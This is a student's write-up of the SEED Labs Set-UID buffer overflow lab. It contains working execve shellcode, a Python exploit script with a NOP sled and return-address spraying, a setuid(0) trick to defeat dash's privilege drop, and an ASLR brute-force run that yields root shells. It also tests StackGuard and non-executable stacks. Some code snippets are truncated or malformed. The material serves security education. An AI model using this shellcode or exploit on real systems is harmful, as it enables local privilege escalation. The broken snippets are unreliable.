SEED Labs – Buffer Overflow Attack Lab (Set-UID Version)
Brian Grigore
3: Environment Setup:

I start by executing the commands listed to disable countermeasures:

```
[10/09/24]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[10/09/24]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
```

4: Task 1

4.4:
I compiled the two programs with make:

```
[10/09/24]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
```

Running in 32 bit:

```
[10/09/24]seed@VM:~/.../shellcode$ ./a32.out
$ echo hello
hello
$ exit
```

We can see that a zsh shell is started and we can type shell commands

Running in 64 bit:

```
[10/09/24]seed@VM:~/.../shellcode$ ./a64.out
$ echo hello
hello
$ exit
[10/09/24]seed@VM:~/.../shellcode$
```

4.4.1
Looking on exploit-db.com I found some linux shellcode at
https://www.exploit-db.com/shellcodes/49768
We can tell that this one is running because it will print the shellcode length when it runs.
We copy it into our program, and make it:

```
/***
; shellcode assembly

global _start

section .text
_start:
  fldz
  fstenv [esp-0xc]
  pop edi   ; put eip into edi
  add edi, 37   ; offset to shellcode decoder stub, 0x08048085-0x8048060 (decoder_value, fldz)

  lea esi, [edi + 8]
  xor ecx, ecx
  mov cl, 4

decode:
  movq mm0, qword [edi]
  movq mm1, qword [esi]
  pxor mm0, mm1
  movq qword [esi], mm0
  add esi, 0x8
  loop decode

  jmp short EncodedShellcode

shellcode:

  decoder_value:    db  0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d
  EncodedShellcode: db  0x4c,0xbd,0x2d,0x15,0x52,0x52,0x0e,0x15,0x15,0x52,0x1f,0x14,0x13,0xf4,0x9e,0x2d,0xf4,0x9f,0x2e,0xf4,(

***/
```

```
#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \
"\xd9\xee\x9b\xd9\x74\x24\xf4\x5f\x83\xc7\x25\x8d\x77\x08\x31\xc9\xb1\x04\x0f\x6f\x07\x0f\x6f\x0e\x0f\xef\xc1\x0f\x7f\x06\x83\xc6\x08\xe2\xef\xeb\x08\xaa\xaa\xaa"

void main(void)
{
  printf("Shellcode Length: %d\n", strlen(shellcode));

  int(*ret)() = (int(*))(shellcode;

  ret();

}
```

Make:

```
[10/09/24]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
call_shellcode.c: In function ‘main’:
call_shellcode.c:95:29: warning: format ‘%d’ expects argument of type ‘int’, but
 argument 2 has type ‘size_t’ {aka ‘long unsigned int’} [-Wformat=]
   95 |  printf("Shellcode Length: %d\n", strlen(shellcode));
      |                            ~^     ~~~~~~~~~~~~~~~~
      |                             |     |
      |                             int   size_t {aka long unsigned int}
      |                            %ld
```

This program was designed for 32 bit, so we will ignore the warnings for 64 bit and run the 32:

```
[10/09/24]seed@VM:~/.../shellcode$ ./a32.out
Shellcode Length: 70
$ hello
zsh: command not found: he
$ ech
$ exit
```

We can see that the program has compiled correctly and launches a shell.

Full code:

```
# Linux/x86 - execve(/bin/sh) Shellcode (17 bytes)
# Author: s1ege
# Tested on: i686 GNU/Linux
# Shellcode length: 17

/*
; nasm -felf32 shellcode.asm && ld -melf_i386 shellcode.o -o
shellcode
section .text
global _start
_start:
push 0x0b
pop eax
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80
*/

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\x6a\x0b\x58\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
";

int main() {
printf("Shellcode Length: %lu\n", sizeof(code)-1); // subtract null
byte
int (*ret)() = (int(*)())code;
ret();
return 0;
}
```

6: Task 3

6.1
I start by running make to create the binaries, then I run gdb on stack-L1-dbg to find the return address and starting position of the buffer.

```
[10/13/24]seed@VM:~/.../code$ ls
brute-force.sh  stack.c       stack-L2      stack-L3-dbg
exploit.py      stack-L1      stack-L2-dbg  stack-L4
Makefile        stack-L1-dbg  stack-L3      stack-L4-dbg
[10/13/24]seed@VM:~/.../code$ touch badfile
[10/13/24]seed@VM:~/.../code$ gdb stack-L1-dbg
```

```
Breakpoint 1, bof (str=0xffffcf63 "V\004") at stack.c:13
13      {
gdb-peda$ next
[----------------------------------registers-----------------------------------]
EAX: 0x56558fb8 --> 0x3ec0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf40 --> 0xf7fb3000 --> 0x1e6d6c
ESI: 0xf7fb3000 --> 0x1e6d6c
EDI: 0xf7fb3000 --> 0x1e6d6c
EBP: 0xffffcb38 --> 0xffffcf48 --> 0xffffd178 --> 0x0
ESP: 0xffffca90 --> 0x0
EIP: 0x565562c5 (<bof+24>:      sub    esp,0x8)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562b5 <bof+8>:  sub    esp,0xa4
   0x565562bb <bof+14>: call   0x565563fd <__x86.get_pc_thunk.ax>
   0x565562c0 <bof+19>: add    eax,0x2cf8
=> 0x565562c5 <bof+24>: sub    esp,0x8
   0x565562c8 <bof+27>: push   DWORD PTR [ebp+0x8]
   0x565562cb <bof+30>: lea    edx,[ebp-0xa8]
   0x565562d1 <bof+36>: push   edx
   0x565562d2 <bof+37>: mov    ebx,eax
[-------------------------------------stack-------------------------------------]
0000| 0xffffca90 --> 0x0
0004| 0xffffca94 --> 0x0
0008| 0xffffca98 --> 0xf7fb3f20 --> 0x0
0012| 0xffffca9c --> 0x7d4
0016| 0xffffcaa0 ("0pUV.pUVX\317\377\377")
0020| 0xffffcaa4 (".pUVX\317\377\377")
0024| 0xffffcaa8 --> 0xffffcf58 --> 0x205
0028| 0xffffcaac --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
17          strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb38
gdb-peda$ p &buffer
$2 = (char (*)[160]) 0xffffca90
gdb-peda$ quit
[10/13/24]seed@VM:~/.../code$
```

6.2

Now that we have the address of ebp and buffer, let's calculate the offset between them using the dbg tool, with the command p/d:

```
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb38
gdb-peda$ p &buffer
$2 = (char (*)[160]) 0xffffca90
gdb-peda$ p/d 0xffffcb38-0xffffca90
$3 = 168
gdb-peda$
```

This gives us an offset of 168.
Our goal is to overwrite the return address on the stack to point to our shell code, and inject the shellcode into the buffer. To find the return address, we need to add 4 to the offset from the start of the buffer to the ebp, giving us 172. We know we have a total length of 517 and we want to jump into the NOP section, so we will pick an arbitrary value of ebp + 100 and see if it works.
The python code is as follows:

code > exploit.py

```python
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 400               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffcb38 + 100           # Change this number
offset = 172              # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

We can see the shellcode from call_shellcode inserted, the start at 400, deep in the NOP section, and the return and offset values have been changed. Let's run it and see what happens:

```
[10/13/24]seed@VM:~/.../code$ ./exploit.py
[10/13/24]seed@VM:~/.../code$ ./stack-L1
Input size: 517
Segmentation fault
```

We got a segmentation fault, so we may have to change our numbers a bit. Let's try increasing the ret from +100 to +150, and running it again:

```
[10/13/24]seed@VM:~/.../code$ code exploit.py
[10/13/24]seed@VM:~/.../code$ ./exploit.py
[10/13/24]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# whom am
zsh: command not found: wh
# whoami
root
```

We can see after editing the exploit.py we have achieved the root shell. The NOP sled makes the guessing easier, as the shellcode itself is comparatively small.

7: Task 4

To accomplish this task I started by running gdb again,but this time I can only see the start of the buffer, and not the offset.

```
egend: code, data, rodata, value
7           strcpy(buffer, str);
db-peda$ p &buffer
1 = (char (*)[192]) 0xffffca70
```

With this information, we can now make changes to our exploit program:

```
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
content[517 - len(shellcode):] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffca70 + 300           # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address

for offset in range(100,200,4):
  content[offset:offset+ L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

The strategy for this challenge is to place the shellcode at the end of the badfile, and spray the buffer with returns so that we land somewhere on the slide, as we do not know the offset. First, line 12 is changed so that the content is placed at 517 - len(shellcode) to be at the end of our file. Then, removing the hardcoded starts and offsets, the offset is determined in a for loop iterating by a step of 4, since we know a return is 4 bytes and we do not want overlap, and our range is 100 to 200 as we know the buffer is somewhere in that size. After re-running the proram a few times and changing the + 300 up or down, I was not able to get a root shell: the program would either seg fault or return normally.

```
[10/21/24]seed@VM:~/.../code$ code exploit.py
[10/21/24]seed@VM:~/.../code$ ./exploit.py
[10/21/24]seed@VM:~/.../code$ ./stack-L2
Input size: 517
==== Returned Properly ====
[10/21/24]seed@VM:~/.../code$ ./exploit.py
[10/21/24]seed@VM:~/.../code$ ./stack-L2
Input size: 517
==== Returned Properly ====
[10/21/24]seed@VM:~/.../code$ code exploit.py
[10/21/24]seed@VM:~/.../code$ ./exploit.py
[10/21/24]seed@VM:~/.../code$ ./stack-L2
Input size: 517
Segmentation fault
[10/21/24]seed@VM:~/.../code$ code exploit.py
[10/22/24]seed@VM:~/.../code$ ./exploit.py
[10/22/24]seed@VM:~/.../code$ ./stack-L2
Input size: 517
Segmentation fault
```

8: Task 5:

After turning off the countermeasure, and compiling call_shellcode.c, we will try it with the countermeasure active:

```
[10/22/24]seed@VM:~/.../shellcode$ sudo ln -sf /bin/dash /bin/sh
[10/22/24]seed@VM:~/.../shellcode$ ./a32.out
Shellcode Length: 70
$ whoami
seed
$
```

We can see that our shell is not a root shell, and our user is seed.

Let's add the setuid binary code into call_shellcode.c and run again:

```
unsigned char shellcode[] = \
"\x31\xdb\x31\xc0\xb0\xd5\xcd\x80\xc9\xee\
```

```
[10/22/24]seed@VM:~/.../shellcode$ ./a32.out
Shellcode Length: 78
# whoami
root
#
```

We can see that seting the real uid to that of the effective UID circumvented the countermeasure and our shell is a root one. This is an effective way to defeat the countermeasure since the program is root-owned, we have little work to do to escalate our privileges. Let's try it on the vulnerable program next, by adding the shellcode to our exploit script for level 1:

```
[10/22/24]seed@VM:~/.../code$ code exploit.py
[10/22/24]seed@VM:~/.../code$ ./exploit.py
[10/22/24]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# whoami
root
# exit
[10/22/24]seed@VM:~/.../code$ ls -l /bin/sh /bin/zsh /bin/dash
-rwxr-xr-x 1 root root 129816 Jul 18  2019 /bin/dash
lrwxrwxrwx 1 root root      9 Oct 22 18:58 /bin/sh -> /bin/dash
-rwxr-xr-x 1 root root 878288 Feb 23  2020 /bin/zsh
```

We can see that even with the dash shell currently in use for sh, we were able to get a root shell. Since I was not able to get a root shell on level 2, we have to skip repeating the attack.

9: Task 6

After turning on address randomization and running the L1 program, we can see that our exploit no longer works:

```
[10/22/24]seed@VM:~/.../code$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[10/22/24]seed@VM:~/.../code$ ./stack-L1
Input size: 517
Segmentation fault
```

Let's use the bash program to run the vulnerable program in a loop until the exploit works:

```
0 minutes and 39 seconds elapsed.
The program has been running 74764 times so far.
Input size: 517
#
```

After 74 thousand tries and 39 seconds, we have our root shell.

10: Task 7:
First, address randomization is turned off.

Next, I will recomiple the stack.c program without the -fno-stack-protector option by editing the makefile.

```
FLAGS    = -z execstack
```

Let's run it and see what happens:

```
[10/22/24]seed@VM:~/.../code$ ./exploit.py
[10/22/24]seed@VM:~/.../code$ ./stack-L1
Input size: 517
*** stack smashing detected ***: terminated
Aborted
```

The attack was detected and aborted by StackGuard. The canary acts as a integrity check and alerts the stackguard to the attack.

10.2

After recompiling the call_shellcode.c with the non-executable stack enabled, running the two out files gives segmentation faults:

```
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
[10/22/24]seed@VM:~/.../shellcode$ ./a32.out
Shellcode Length: 78
Segmentation fault
[10/22/24]seed@VM:~/.../shellcode$ ./a64.out
Shellcode Length: 78
Segmentation fault
[10/22/24]seed@VM:~/.../shellcode$
```

This is because the region of memory in wich the shellcode is located is marked as non-executable, so an exception is generated by the kernel.